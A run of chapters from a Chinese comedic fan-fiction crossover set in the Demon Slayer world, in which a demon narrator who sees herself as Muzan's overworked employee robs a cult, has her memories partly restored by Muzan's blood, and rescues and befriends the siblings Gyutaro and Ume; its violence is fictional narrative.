“那你们这个教绝对是烂透了哦,神明是不会垂怜你们的。恶人只会被恶鬼给吞噬哦。”我将这个孩子放在地上那坨红白之物之间,看到他表情立马展现出嫌弃起来,不由轻轻笑了起来。
似乎我现在表现得还算和善,以至于有一个信众竟然从人群中出来,指着我,大声谴责。“你,你竟敢亵渎教主大人!教主大人能与神明沟通,你会收到神明的惩罚的!”
真是大胆啊。我听了听这家伙的音色,哦呀,是那个喂猫的人。
不过能与神明沟通?
“真的吗?”我问那个象牙白发少年。
但他只是看着我,微笑。
看来是不行啊。
我还没来得及想好怎么对那位站出来的男人,那位女士却做出了个惊人的举动。
她给了那个男人一个响亮的耳光,然后重重跪在我的身边,大声宣布“信众们,万世极乐教的神明显灵了!试问除了神明,还能有何人拥有这样的力量!”
事情的发展倒是出乎了我的意料。
这位女士想干什么呢?
我任由她以跪姿爬到我身旁,然后站起来小声在我耳边对我说,“大人,您也不想那些女孩的事被外人知道吧。如果您毁了万世极乐教,那群没有信仰的家伙绝对会将这些事情大肆宣传出去的,到时候……”
她眼神瞟了一眼经验状态明显不太好的少女们,回望我,嘴角微微上扬,眼里充满自信。
竟然在威胁恶鬼吗?
老实说我倒是有点佩服她的胆气,只不过我并没有那么好拿捏。
我看着那位所谓能沟通神明的孩子,忍不住笑了笑,“你是说让我当神明吗?”
女人很懂事地接过话,“您明明就是万世极乐教的神明。只是现在不满于有人违反您的教义,才决定现世向您虔诚的信徒们再次明确您的教义!”
女人的眼嫌弃地扫视着地上的那一坨,然后气势澎湃地向众人宣告。
我真的感觉很好笑,以至于一时间不受控地笑出了声音。
多么速成的稿子,多么美妙的随机应变能力啊。只是,为什么要用到我身上?
我对于女性的态度是较为友好,但是不代表着人们能随意控制我。
我在众人震惊的目光下,将那位还打算演讲什么的女士直接扔了出去,砸中了几位信众。
我虽然控制了力道,但是大概率还是会让她们断些骨头。
毕竟我现在已经打了两份工了,再让我兼职这种xie教的神明显然强鬼所难。
你们到底懂不懂打工鬼的苦啊……我的kpi还没完成呢!
我一时心烦,又将那个之前对我指指点点的男子扔出去,砸毁了一道墙。
墙后露出了众多金银,使我不由吃了一惊!
我这运气!难道现在是转运时刻!
纵使众人面露渴望,但是在我的绝对武力碾压下,仍旧没人敢上前,我招呼着发愣的象牙白发少年,“你们这有没有点大容器。”
他有些不知所措,一时间并没有回答。
倒是某个少女为我指了指,“那个莲花宝座。”
我看过去,这正是完美的形状。
少女又小声向我补充道,“那个神像也是金的。”
莲花宝座后的神像约莫2米高,看起来表情严肃,怒视着向他靠近的人。
然而他的表情并不能阻止我的热情,贵金属是如此冰冷,但是我的心却是非常火热!
我谢过少女,转头就将神像打成碎片。很可惜,这个神像并非实心的,而仅仅是镀金。
我有些惋惜,只是将大块的金箔撕了下来,然后将莲花宝座掏空,将财宝与金箔全部收进去。
没了神像的xie教显然失去了主心骨,主事的女人好不容易爬起来,见这般混乱的场景忍不住发出惨叫。
不过这与我何干呢?
我收获满满,准备离开。
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那位教主大人却叫住了我,“你为什么要毁掉别人的希望呢?”
他看着我,眼里只有纯粹的疑惑。
我也很疑惑,“拿点钱不行吗?”
小孩噎住了,他决定缓缓和我解释,“我是说,你为什么要毁坏人们心中对于神明的形象呢?这些可怜的人明明需要信仰的。”
我回视,不理会后排那些早已陷入混乱的信众,只望着眼中有些希冀的少女们,正色道:“世界上可没有神明,如果有了话,一定是你们自己。”
我又看了看那个象牙白发色的小孩,思索了一下,“如果学不会情感可以不用学,毕竟你身边的都是烂人吧。”这样的教育环境怎么能养成什么好孩子呢?
那孩子立马露出了惊恐的表情,但是这好像也是他装出来的。
我没什么好说的,只是转身离开。
我并没有看见那孩子之后露出的复杂表情。如果我看到,一定会称赞那是我见他以来最真情实感的神色。
话说拿了这个不义之财我还是觉得有些烫手。这主要表现在容器太显眼,钱财不好转换,还有其他诸多原因。
不过虽然人心险恶,金银财宝却是无辜的。
我美滋滋地拿着这一莲花座的财宝,心中已经有了规划。
一小部分钱就拿给继国严胜买点伴手礼,好让他明白师傅的关心,这样或许能延长我的第二份工作的寿命。
一小部分钱就拿去给庆藏的道场进行建设和招弟子好了,毕竟我其中一个kpi还得靠他完成。
剩下的钱当然就是给我自己啦!鬼生没有五险一金,退休又遥遥无期,如果不给自己存点钱还能怎么办!
虽然记忆缺失,我心中对于工作总有一种不稳定的感觉。因此存钱简直是我的执念。
为了避免夜长梦多,我准备立马找间铺子将部分金银珠宝当掉。
哪有人随便会拿金银珠宝付款啊,这不就一看就会被怀疑是不是杀人越货嘛?
我在屋顶上蹦跳着,寻找着当铺。却忽然感受到一股熟悉的气息。
不,不是吧……
我转身立刻想逃,闹钟却传来丧钟,“你,给我过来!”
这样没有礼貌又不容拒绝的语气,加上直击大脑的方式,无疑彰显了主人的身份——除了我那位很烂的老板不做他想
我捧着一莲花座的金银财宝,总觉得这种花钱还没爽但是就被截胡的感觉非常熟悉。
但是熟悉也想不起来。
优秀的牛马会说嗻去给暴躁皇帝老板报告,我只是下品牛马,因此我只能小心放下莲花宝座,踩着鬼舞辻无惨暴怒的边缘去找他。
然而一找他我就大吃一惊,甚至来不及理会他对于我速度太慢的污言秽语。
眼前这个鬼,说他或者应该是她,实在是过于美艳。海藻般的黑发盘成了一个发髻,微微几缕散发在脸旁更显风情。红唇张张合合吐出毒舌话语,红眸闪着危险艳丽的光芒。
我承认我一时间愣了神——不是,救救鬼啊,撞见老板穿女装怎么办
24. 入职第五天
我闭上眼睛,成功感觉到两眼一黑。
我重生了,重生在没遇到老板女装的这一天。
当然,这只是我的妄想。可怜的牛马只能接受现实。
“无惨大人好。”我极为殷勤地招呼着无惨,眼睛都不想抬,就担心再看到什么不该看的。
只是我的老板显然没有那么体贴,她认为我这是在冒犯她。
“哦,你为什么不敢看我?”他的声音很冷,就像之前的男声一样。不过这样和他现在美艳完全不符。
我不抬头看他就能感觉这家伙在用鼻孔对我说话,可恶,不能这样想,这样想我好想笑。
我好不容易憋住了笑,抬头极为狗腿子地谄笑,“无惨大人,您有什么事情需要使唤我的?”天空一声巨响,牛马直接登场。
我跳过了他的问题让他有些不悦,但是我的谄媚又很好地弥补了这一点,于是他从鼻子里哼出一口气,算是开场白。
“你这家伙,找到了关于青色彼岸花的线索了吗?”他看了看我,随意问道。
我这时才看清周围的陈设,不由得有些哑然。
这里似乎是歌舞伎,装潢华丽,房间外传出男女嬉笑的声音,而这间房间的墙上甚至还挂着一些非常香艳的图片。
哇,这算是什么,变鬼之后欲望的委婉体现吗?
我小心翼翼开口,看着面前的美艳女鬼,“无惨大人,我找遍了一地的山林,都没有见到过类似青色彼岸花的东西。不过还有几个据说生长珍稀草药的地方,虽然是悬崖峭壁、人烟罕至之地,但是为了无惨大人,我也马上会去查看。”
汇报工作就是这样,一份不足加上三分愿景加上六分画饼,端的就是一个滴水不漏。
无惨听到前面本是想开口训斥我的无能,但是我后面的画的饼显然让他无话可说,他只是继续哼了一声,然后点头示意可以。
“你......”他似乎想说什么,但是又看看我,沉默了许久。
他的眼从我全身扫过,然后露出了嫌恶的表情。
不是,我说,这是什么鬼身攻击吗?
我很想投诉这侵害了我的鬼格,但是我的实力并不允许,于是我只能装傻,笑得更加老实。
鬼舞辻无惨的表情果然更加嫌弃了起来,“本来还想将这件事派遣给你,但看你这个蠢样......”他摇了摇头,表现了说不尽的嫌弃。
“你现在有什么血鬼术吗?”他将手撑着头,看起来很是漫不经心。
我却听不懂他的意思。血鬼术应该就是属于鬼的独特能力吧,感觉像是什么法术技能一样。
“请问是什么能力呢?属下现在确实并未发掘出来。”我的表情非常无辜,毕竟我也并未说谎,虽然现在除了无惨,我感觉自己毫无敌手,但是我确实没啥能拿得出手的技能。
就好像别人都在喊着什么炫酷的招数“xx拳”“xx刃”什么的就帅气地上了,我只能一声不吭像个哑巴默默接招。这样总感觉莫名其妙在某方面输了一样。
我不说话,鬼舞辻无惨也在思考。
鬼舞辻无惨看着面前呆滞的女人,心里确实又闪过了一瞬的后悔。
当初是否就不应该给她伤了脑子,做下女的时候好像就不怎么聪明,现在就更是了。
而现在产屋敷家族似乎已经开始组织人来尝试剿灭他,虽然集结的平民剑士都相当于是送上门的口粮,但是那些诅咒师确实很麻烦。尤其是那个冰系诅咒师!
他都有些后悔当初为什么要假借着两面宿傩的名号,这完全是得不偿失。震慑住了那些咒术师,但是诅咒师却全部都缠上来了。
而他之前转化的那些鬼,实力又非常一般,甚至不如这个愚钝的下女有潜力。可是那些鬼中也有部分拥有血鬼术,但是这个下女却没有?
鬼舞辻无惨此时早已放下了对这个下女的戒备,他本以为作为曾经一起喝过医师的药的人,这个下女对他来说可能具有一定威胁性。
但是,就他的眼线观察来看,这个下女也是一样惧怕阳光,甚至胆子很小根本没有吃什么人,实力更是远远比不上他。
再加上连血鬼术都没有......鬼舞辻无惨严重滑过几丝讥讽和安慰,他不由得抬起手,丹红色的长指甲轻轻划过了自己光洁的手臂,他看着自己滴下的血,又看着那个呆滞的下女,心情莫名愉悦。
他曾经羡慕过她极快的反应速度和健康的体魄,以前她得匍匐于他的权势,而现在她也得匍匐于自己的力量。
他就是真正的天选之人。想到这里,他不由得觉得心情愉悦。
“赏你的,至少给我掌握血鬼术。”鬼舞辻无惨看着那个愚钝的下女几乎弹射起步,对着自己的手臂微微张口,滴滴血丝滴在她的舌尖,使得舌头看起来及其红艳。
鬼舞辻无惨看着,心想,有点像狗。
我根本不知道我在鬼舞辻无惨心中已经是一条好狗了。当然这其实对我也无所谓,毕竟打工鬼很难形容牛马和狗这两个评价孰优孰劣。
老板突然的发饭简直就像白捡的便宜,不要白不要。我很快就用着冲击食堂的速度跑了过去,张嘴接过饭。
我好像真的饿了很久。我之前还嘲讽过鬼对人血肉的渴望,可是当鬼舞辻无惨的血出现时,我好像确实,下意识地就去接了。
比起吃普通的食物,鬼舞辻无惨的血肉进入我的身体时,胃好像被一种轻盈的温暖的什么充斥着,让人只能感到餍足。
好像我身体就是缺失这部分东西似的。
我简直就像在沙漠迷失后找到了绿洲,虽然这个绿洲的水源看起来也不太充沛,如果更多一点就好了。
我忍不住抬头接近绿洲的源泉,而就当我的牙要接触绿洲时,我的某种更为深刻的本能却唤醒了我,我猛地惊醒,对上了鬼舞辻无惨颇具深意的眼。
完了完了,我谄笑一下,小心翼翼地挪开脸。我这时候说我不是故意的可以吗?
然而,脑中突然一阵剧痛,我也顾不上谄媚了,只能痛苦地捂着自己的脑袋,将自己
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抱成团四处翻滚。
我用着自己的最后理智想让自己翻滚到离鬼舞辻无惨远一点的地方,但是显然没什么用。
我能感受到鬼舞辻无惨的视线冷冷地看着我,可是我做不出什么反应。
不是吧,难道血里有毒吗?心这么黑吗?难道这种便宜真的占不了吗?
我的脑子就像爆炸了一样,但是爆炸过后就像有什么回忆从之前紧密的记忆保险箱中释放出,诸多的记忆冲击着我,我一抬头,看见了鬼舞辻无惨好奇的眼神。
“我给你血是让你修补脑子的吗?”
不是,你这话也太糙了吧。
不过他说的倒是不错,我确实找回了一点自己的记忆,看来鬼舞辻无惨,或者说产屋敷月彦这家伙的血肉对我还是比较有用的。
我现在只能记得起自己曾经在产屋敷家打过工,以及被鬼舞辻无惨转化为鬼的那天,不过我从产屋敷家离开后到底要找谁,和我脑中总是冒出的奇怪词汇到底是什么,我仍旧还不清楚。
但是我清晰地能感受到我和鬼舞辻无惨还有较大的实力差距,难道是因为我不吃人?我看着鬼舞辻无惨的眼神,深知再不回答他事情又要难以收拾了。
“无惨大人,您的力量太多强大了,孱弱的我接受它不由得丑态毕露。”有了产屋敷宅打工的记忆,我自然知道产屋敷月彦或者说鬼舞辻无惨对于自己身体强健的在乎,因此,我这话一出,鬼舞辻无惨本身危险的神色就变得愉悦了起来。
但是他想要的绝对不只这个。
我回想着自己脑中突然冒出来的招数,沉吟片刻,决定包装一下,“无惨大人,我的血鬼术能使我自己在短暂时间内力量暴增一倍,这个招数的名字就叫做--”
一听这没什么用的招数,鬼舞辻无惨皱了皱眉头,看着战战兢兢的我,还是露出了讥讽的表情,“真是没什么指望的蠢货。”
我并不反驳,毕竟这招数只是我胡诌出来的,只要平时隐匿自己实力,然后说使用血鬼术的的时候大喊招数名称再增加力气就行了。这是喊“超级大金刚”好呢?还是“力量倍增”好呢?
我迫使自己脑中只想着这个,然后被鬼舞辻无惨无情赶走,我一路迁徙至屋顶后才放下心来,只感觉背后冷汗直流。
如果鬼舞辻无惨知道我的血鬼术是什么,我绝对见不到明天的太阳。
血鬼术--你是否还在困扰于垃圾工作,你是否深感被工作、垃圾上司害惨了。一旦你将雇佣你的人**,你将继承ta的**
后面的东西我并没有看清,但是这个**雇佣的人的前置条件已经让我感觉胆战心惊了。这个难道是什么不妙的和谐词吗?
我没有发觉,我背后那些被之前的咒术师和诅咒师称为特级咒灵的家伙,见我兵荒马乱的样子,身体微微摇晃,似是愉悦。
然而冷汗直出的我无法估计这个。
因为,我发现,我刚刚放在屋顶的财宝全都消失了!
天杀的!哪来的屋顶小偷!还我妈生钱!
25. 入职第六天
此时我的愤怒已经盖过一切了。
不是,谁允许不请自来的家伙拿走我辛苦一个晚上挣来的钱!谁允许的!
我极其肉疼,简直就要失去理智了。
毕竟是那么大一莲花座的钱,这可是我的退休金!
我继续在房顶跑酷,试图找到拿走我钱的人,连小猫肚皮底下我都翻来看了,还是没有瞧见我的钱钱。
在吉原,人来人往,有人在这一晚挥土如金,也有人在这殷勤迎合,希冀大人物能从指缝中漏出一些给他们。
人人好像都有点钱,但是是谁拿走了我的钱。
我看着天将破晓,不由得咬紧牙关,鬼舞辻无惨可还在附近,我可还得隐藏自己的体质。
--可恶的小偷,给我等着!
*
在我躲在阴暗角落潜伏的时候,另一处却是完全不同的光景。
一个瘦削的少年正小心地从一个破旧的屋子里伸出头,警惕着四周。
吉原的人对他并不陌生,他正是妓夫太郎。他负责在吉原收债,他的拳头让不少胡搅蛮缠的嫖客吃过苦头。
妓夫太郎的头发蓬乱无比,如果从中爬出虱子也毫不让人感到意外。他的那双眼充满着血丝,打量着外面的一切,就像一只老鼠。
很好,还没有人追过来。
他将那双充满血丝的眼转向室内,眼中映出了一个极其美丽的少女。
“哥哥!”少女的声音兴奋地有些尖利,但这丝毫不影响她的貌美。
她伸手摸了摸旁边一莲花座的金银珠宝,仔细挑出了一个漂亮的金簪,然后递给妓夫太郎。
“哥哥,快给我簪一个好看的发型!”她充满崇敬地看向妓夫太郎,等着他的动作。
妓夫太郎显然也习惯了妹妹的使唤,他先是将自己的手在一块干净的布上擦拭了几下,确保干净后,又拿出了一个漂亮的木梳,力道轻柔地帮着妹妹簪发。
“梅,有了这笔钱,我们就不用再住破旧的房子了。哥哥会让你住上雅致的房屋,我们会有吃不完的美食,那些漂亮的衣裳、首饰都会出现在你的匣子中!”
妓夫太郎的手灵巧地在发间穿梭着,一挑一绕,一个饱满的发髻变已稀具雏形。他再将别致的金簪插入,看着面前的少女,满意地点了点头。
梅本就美貌,在金簪的点缀下更是贵气逼人。那些吉原的当红花魁就连给梅提鞋也不配。
他的妹妹果然是这个世界上最最美丽的人。即使是卑贱丑陋如他,也能拥有这样美好的妹妹!
妓夫太郎根本不在意妹妹的骄纵,这是他宠出来的。
看着满心欢喜,对着一莲花座金银爱不释手的妹妹,妓夫太郎面露宠溺的微笑。他将几块金银从中掏出,放进贴身的口袋中,叮嘱着欣喜若狂的妹妹,“梅,你要将钱财藏好。我拿钱财先给我们购置了别处的房子去!记住了,今日谁来都别开门!”
梅点了点漂亮的脑袋,轻松道,“交给我吧哥哥,我绝对不会让任何人动我们的财宝的!”
虽然是这么说着,但是命运总是如此弄人,在妓夫太郎出去没多久,便有人敲响了这件破旧的房子的房门。
“喂喂,有人在吗?”门外是清脆的女声。
梅小心地躲在榻榻米下,这里是她存放财宝和躲藏的地方。她有些想探出身子去查看外面的情况,但是哥哥的吩咐让她还是乖乖呆在了这里。
真奇怪,怎么会有年轻女子过来呢?这里是吉原最肮脏偏远的地方,只有染病的快要死的游女才会被扔在这里慢慢等死。难道是哪家的下女迷路了,那也不会迷路到这里。
梅想不明白这个道理,却也没怀疑这女人是一莲花座金银的失主。毕竟,那是这么的重,就连他的哥哥抬起这些都很费力,外面的女人怎么可能做得到呢?
那女人似乎察觉没人,就直接离开了。
还算懂事。从鼻子里哼出一口气,梅继续蜷缩在榻榻米下。
然而今日访客太多了。
一个沉重的脚步声传来,有人直接将破旧的房门拉开,力道之大,简直就要直接将门拉断。
“梅!梅!你在哪里!”是男人的声音,聒噪又狂暴。
梅皱了皱眉,颇有些不悦。听声音这男人是之前在路上朝她搭讪过的武士,他一见到自己就像春天的狗一样,嘴不干不净的,举止也很是孟浪。
她上次已经躲过了他的纠缠,这家伙是怎么找上她家的?
闯进房间的武士在榻榻米上到处乱走,一边掀翻房间里为数不多的器具。“梅,你不在家吗?你的武士大人来找你了,快出来吧!”
他四处寻找,似乎笃定她就在房间内。
然而梅的隐蔽技术确实过人,那男人寻找了一圈却仍是一无所获。
“可恶,这个婊子养的小丫头去哪了,难得这丫头的臭老鼠哥哥不在......”他愤愤地踢了一脚什么器具,忽然站定。
梅就在他脚下的榻榻米下,等着这个武士离去。
什么垃圾,她内心想着,等他的哥哥置办了新的房子回来,等他们将财宝去换取钱财,她一定要好好教训这种垃圾,让他跪在地上舔哥哥的脚!
梅在努力忍耐着,然而下一秒武士的举动却让她破功。
那个武士似乎解开的衣袋,掏出了什么,不一会就是淅淅沥沥的水声混合着腥臭的液体渗入榻榻米中。“那个臭老鼠竟然有这么好看的妹妹,等我把那个丫头睡了,玩腻了,我再把她卖去做游女,然后和那些打手一起把那个臭老鼠的手脚打断,天天看着她妹妹接客哈哈哈--”
他的笑声戛然而止,愤怒的少女已经从掀开榻榻米从旁一跃而起,她手持着金簪,快准狠地将其扎进了武士的左眼之中。
“你这个垃圾,竟然敢侮辱我的哥哥。”梅的发髻已然松开,她的脸上充斥着怒火。她本来就不是一个好脾气的人,这家伙不仅破坏她和哥哥现在的住所还敢在她头顶撒尿,最过分的还是想要侮辱她哥哥!
现在已然快要傍晚
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,眉借着昏暗的光还想再给武士来上一脚,正如她哥哥所教她的那样--对着侮辱他们的人以眼还眼,以牙还牙。
然而梅还是错误估计了一个成年男人的力量,那个武士一把抓住了她的脚,将她按到在地。
“贱女人,亏我之前还好心好意待你,你果然和那个老鼠一样低贱!”他眼眶的血落到梅精致的脸上,看起来像是雪中红梅。
梅心中十分讥讽,另一支脚仍旧奋力挣扎。男人的手狠狠掐住她的脖子,一手还撕扯着她的衣服。
垃圾!垃圾!梅感觉自己或许快要窒息,他们的财宝决不能被这种烂人夺走,她想着,手用狠狠得拔出武士眼眶中的金簪,在武士的惨叫中,想要将其向武士太阳穴捅去。
可是金簪下一秒就被武士用手打翻,梅只感觉脖子上的那只手攥得越来越紧,越来越紧。
--哥哥!救救我!
梅感觉自己身体里的最后一丝气要被抽干了,她的眼睛已经看不出眼前的景象了。
但是,就在这时,一个女声传来,“人渣。”而后便是什么东西碎裂的声音。
下一刻,她感觉脖子一松,身子也变得轻松起来,她开始猛地喘气,将自己脱离窒息的边缘。
她仍然看不清周边的一切,只是小心摩挲着周边,试图找到被打翻的金簪来护身。
那女声再次传来,“嘶--抱歉,一不小心把你们的家和你的衣服弄脏了,如果不介意了话,能让我赔偿你们吗?”
梅这时的大脑不再缺氧,她开始回想起来了,这是下午的那个女人。
渐渐恢复清晰的视野中,她看见了一个包裹得严严实实的女人,手中拎着碎/尸,看起来颇为为难的样子。
我也确实非常为难,毕竟我只是想要回自己的钱财,但是现在却把人的家里搞得那么脏,真是怪不好意思的。
而且那个混账武士,现在破碎的这坨家伙进门的时候我也没阻拦,只是蹲在远方的阴影处静等时机,没想到竟然给少女带来了这种伤害。
我叹了口气,阻止了少女挣扎的动作,将那一莲花座的金银扛起,在她目瞪口呆的表情下向她伸出了手,“这可是我的东西哦,我出手了话你哥哥应该也不能打赢我的,不如现在你暂时和我一起去买件新衣裳呢?”
意料之外的,少女皱着眉搭在了我的手上。
“我可以跟你走,但是你不许对我哥哥动手,这些金银,可以给你。”她这般理直气壮的样子近乎让我要发笑,她似乎把我的邀约当成了种威胁。
也行吧。我看了看天色,现在已经没有太阳了,不由得放心得点头,“先让我放点东西,我马上来接你。”
我将自己裹在外层的外衣披在少女带着武士的血的衣服上,对她微笑了一下。
这回我可得把钱藏好了!
等我回来的时候,我却发现等我的人不止一个,那个漂亮的少女旁边还站着一个对我怒目而视的少年。
可恶,那我要得多请一个人了。
26. 入职第七天
正如我先前所说的,妓夫太郎根本打不过我。
所以,当漂亮少女眉眼弯弯与我说话时,我也一闪身躲过了她身后妓夫太郎扔来的镰刀,顺便将其夺过。
“小孩子别玩这么危险的东西,别伤着你妹妹了。”我在兄妹俩怒视的目光中把玩了下镰刀。就这把镰刀透出的腥气来看,这把镰刀应该战绩颇丰。
那位名叫梅的少女简直气急败坏,她漂亮的眼狠狠瞪着我,整个人像炸裂的河豚,“快还给我哥哥!”
她的哥哥妓夫太郎没说什么,只是阴恻恻紧盯着我,似乎想要伺机而动夺回自己的武器。
这些孩子怎么就说了不听呢?我这时候倒是开始怀念继国严胜的懂事了。
面对着一动一静两只河豚,我叹了口气,飞身上前猛敲了两只河豚的脑袋一下,力道适中,懵逼不伤脑。
“你们是打不过我的,别挣扎了,我现在只是想请你们吃顿饭买些新衣服算作赔礼道歉。”妓夫太郎能感觉脑袋有些嗡嗡的,他听见那个女人没好笑地这么说。
她似乎没有恶意,可是这是真的吗?她为什么还要赔礼道歉,她不是来夺回自己的金银珠宝的吗?她现在装成这样到底想干什么?
许多问题萦绕在妓夫太郎的脑中,几乎将他绕晕,但是这一刻他清晰地明白着一点,自己是打不过这个女人的。
他看着梅捂着脑袋,对于那个女人骂骂咧咧的,然后接过了那个女人说是用来道歉的饴糖,飞快放入嘴边。
他本来想提醒梅不要乱吃这个陌生人给的东西,但是那个女人也将一只手递给他,手里是一块饴糖。看清了那个样式精美的饴糖后他又沉默了--不会有人在这么贵的糖里下毒的
拨开糖纸,吃下饴糖,妓夫太郎牵着梅走在那个女人的身后。
他想知道这个女人到底想干什么。
喂完饴糖后,两个小孩安静了不少,我颇为欣慰。
果然小孩子需要零食。我都佩服自己顺路买了零食的先见之明。
“在这里呜!”梅被她哥哥牵着,嘴里的饴糖还没嚼完,说话含含糊糊的,一只手直指旁边的铺子。
这是个换钱的铺子,我将之前莲花宝座中的金箔全部拿出,捏碎加热冷却成了金疙瘩,但是这种大体积的贵金属除了炫富并没有其他作用,我选择叫着熟悉这里的两兄妹带领我找地方换钱。
唤成碎钱之后,我出门,看见两兄妹仍站在门口,但是被了一圈人围住。
“先前怎么没在楼中见过你,你是哪家的游女呢?”一个健壮的武士打扮的人无视旁边的妓夫太郎,笑眯眯地向梅伸出咸猪手。
梅嘴中的饴糖还没咽下,只是讽刺地看着一脸色相的武士。她知道自己的哥哥绝对会保护他的。
妓夫太郎被夺去了镰刀本就有些暗火在心底,这个武士的挑衅之举更是直接将他心火点燃。
然而还没等他拿出贴身小刀给健硕武士狠狠来上一下,他的耳边就传来一阵破空声,而后那个健壮的武士竟然双膝跪地摔在了他们面前。
“哎呀呀,武士大人怎么行这么大礼啊!”那个女人略显聒噪浮夸的声音传来,一时间,将所有人的注意力都吸引了。
人们顺着她的目光看着地上尽显丑态的武士,不由窃窃私语,“哎呀怎么还跪上了呢?”“不会是不给钱被人抓了吧,你看旁边就是那个催债的妓夫太郎。”“真是了不得啊。”“还不爬起来,真是堕了武士的名头。”
我看着地上想爬却爬不起来的武士,意识到自己扔到他后膝盖的石头力道可能太大了,不过那又怎样呢?
我来到梅和妓夫太郎的身边,作搀扶武士的样子有不小心踩了他伸向梅的咸猪手了几下,才遗憾地施施然带着梅和妓夫太郎离去。
临了还得感叹一声,不再看面色难看的武士,“怎么有人这么喜欢跪在大街上呢?”
梅几乎笑得不停,她不知道发生了什么,只是洋洋得意,就连发丝都透着欣喜,“哥哥你看见了吗?那个没用的男人竟然直接朝我跪下了哈哈哈,他还说自己是武士呢!”
她又转向我,微微抬了抬下巴,“喂,你这家伙看见了吗?那家伙被我吓得都跪下来了哈哈!”
我和妓夫太郎都沉默了一瞬,老实说,我们在这个时候都挺羡慕她的天真的。
妓夫太郎显然能猜到背后的原因,他神色复杂地看了我一眼,附和着妹妹,“我都说过了,梅你的美貌足以震慑他人。”
我在梅隐含期待的眼神中也是艰难地点了点头,算是同意她的观点。
我将梅和妓夫太郎带入了一家能洗浴和买衣服的铺子,妓夫太郎本不欲入内,但是看妹妹激动的身影还是沉默地同意了。
铺子中本有人见着蓬头垢面的妓夫太郎面露嘲讽之色,但是在我给梅挑选的衣服付款之后又沉默了下来,服务态度极好。
我又叫梅替妓夫太郎挑了件衣服,因为我要给妓夫太郎买他便大喊没必要。但是等到梅为他挑选衣料一个个在他身前比划时他又扭捏了起来。
“哥哥穿这个好看!”梅很快就敲定了,妓夫太郎看着那件衣服,微微点了点头。
挑完衣服,俩人便去洗浴了。妓夫太郎身上的衣服看起来也破旧无比,大小也不合适了,梅身上的衣服还有之前的血迹,我就劝他们洗浴完后直接换新衣服就行。
我站在门口,手里还拿着妓夫太郎的镰刀,等着两人出来,有些惆怅。
--其实给梅买的那件衣服还真挺贵的,下次到底还有没有什么地方能再打劫(划掉)获取一些资金呢?
在氤氲的浴池里,梅的心情大好。
本来财宝被夺取还有些不渝,但是那个女人还算懂事,不仅给她们了好吃的糖,还带她来这里,还给她了新衣服。
比那些乱七八糟的男人好多了。梅将自己的埋入水中,好好享受着难得的热水。
“哥哥,你也得好好洗哦!”她突然大叫一声,声音传到了对面男汤。
妓夫太郎泡在浴桶里面,听见妹妹的声音,回应了一声,然后继续窝在热水中。他已经很久,哦不,或者说他从来就没有泡过热水。
热水都是有钱人家才会享受的东西,他们住的地方河边更是充满着丑恶之气,病死的游女有时也会被直接扔进去。干净的水本就难得,若是能有机会烧一桶热水,他也会直接给梅。
毕竟和丑陋瘦弱的他不一样,梅那么美丽,理应享受世界上最好的一切。
不过,既然有机会,他也会好好洗一次澡的。将自己有些气味的头发泡入水中,妓夫太郎缓缓揉搓着自己的身体--得洗干净点再去见梅,而且,还有新衣服。
等俩人洗完出来后,我看着焕然一新的俩小孩,不由得满意的点了点头。
梅的美貌自不用说,热气下她的脸红扑扑的,艳丽下多了一丝娇憨之感。妓夫太郎洗干净后脸显得白净了许多,原本看起来藏污纳垢的头发看起来也柔顺不少,一张脸蛋中竟能找到微妙的和梅相似的地方。
“真不愧是两兄妹啊。”我忍不住感慨出声。
梅的表情极其自豪,伸手挽过穿着新衣的哥哥。妓夫太郎的表情则有些复杂,混着着喜悦与微妙的怒火。
妓夫太郎哑声开口,“赔偿好了,你接下来还要干什么呢?”差不多得了,别好像一副真的能改变他们生活的样子。
我思索了片刻
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,感觉到饭点了,不由得有点饿,于是邀请着他们,“我确实有事要麻烦一下你们,我们不如先吃点什么再说吧。”
我选了一家看起来就量大实惠的馆子,一方面是想远离吉原别被鬼舞辻无惨发现,另一方便是我我吃的还蛮多的。
令我意外的是,妓夫太郎和梅都是小鸟胃,所以在我风卷蚕食的时候,他们就坐在对面震惊地瞧着我。我不好意思叫他们等,于是给点钱给梅叫她帮忙去买些零嘴给他俩吃。
梅轻哼一声,起身慢悠悠地出了门。
我刚好又解决了一碗饭,于是停下来,开始今天的正题,“我可以委托你帮一个道场主催债吗?报酬我会给你的。”
妓夫太郎冷笑了两声,他就知道这个人另有目的。
我倒是不理会对方的冷嘲,继续说道,“我也知道你已经拿了一部分银钱去买新房子了,这部分钱我是不会向你要回来的。梅拿去的金簪她喜欢就拿去好了。”
“不过有一点,算是我作为一个陌生人的忠告吧。吉原还是很危险的,梅虽然貌美,但是不一定要选择走上那条路。”
我的话意有所指,妓夫太郎显然也明白。在路上时,梅就对花魁投去了鲜艳又轻蔑的目光。
“我会保护梅的。”妓夫太郎的声音闷闷的。
“你是能保护梅,但是梅也需要有自保的能力。你也想让梅更好不是吗?走出吉原,去外面看看吧,说不定还能有新的可能呢?而且比起让别的男人向梅献媚来获取财务,梅自己也可以通过自己的努力做到的啊。”
妓夫太郎显然想到今日自己离开的惊险一幕,便有些沉默,良久才说,“可是梅是做不到的。”
愤怒的女声从外传来,“谁说我做不到的?”
妓夫太郎抬头便看见妹妹嘟着嘴,气鼓鼓的样子,心下一软。
梅将买来的零嘴扔在桌前,直接跳着挂在妓夫太郎背上,双手用力捶打妓夫太郎瘦削的身躯,“我可以的!不许说我不行!哥哥!哥哥!”她根本不想再让哥哥受伤,吉原里健壮的武士有时也会将哥哥打的鼻青脸肿,虽然每次哥哥都能拖着一口气回来。
可是,万一回不来呢?她总是会担心这点,所以有时还会忍耐蠢男人的献媚。如果能改变,她也一定会为哥哥做到的!
在梅的攻势下,妓夫太郎最终还是答应了,我将镰刀还给他们,与他约定三日后在素流道场见。
临走时,我再给了他们一些碎银,顺便提醒了一嘴,“之前那个武士可能还在你们家留下了痕迹,还是要仔细扫尾。如果家里有什么要搬的东西我也可以帮忙搬去你们新的住处。”
妓夫太郎点了点头,但是拒绝了我的帮助。
妓夫太郎牵着梅的手,一步一步走回破旧的熟悉的地方。
武士的碎/尸还在榻榻米上,还没有野狗闯进来进食。
家里本来就没什么能带走的地方,妓夫太郎拿了点藏在屋里的钱,梅拿走了扎在武士眼眶中的金簪和她藏在家中各处的漂亮小玩意,便起身牵着妓夫太郎的手离开。
他们的身后,火光冲天。破旧的房子已经烧了起来,发出木头裂开的声音。
梅牵着哥哥的手,走向他们新的住宅。
“那真是个奇怪的女人?”梅摸了摸发髻上的金簪,语气中充满不确定,抬头望着哥哥。
妓夫太郎一时不知道怎么回答。
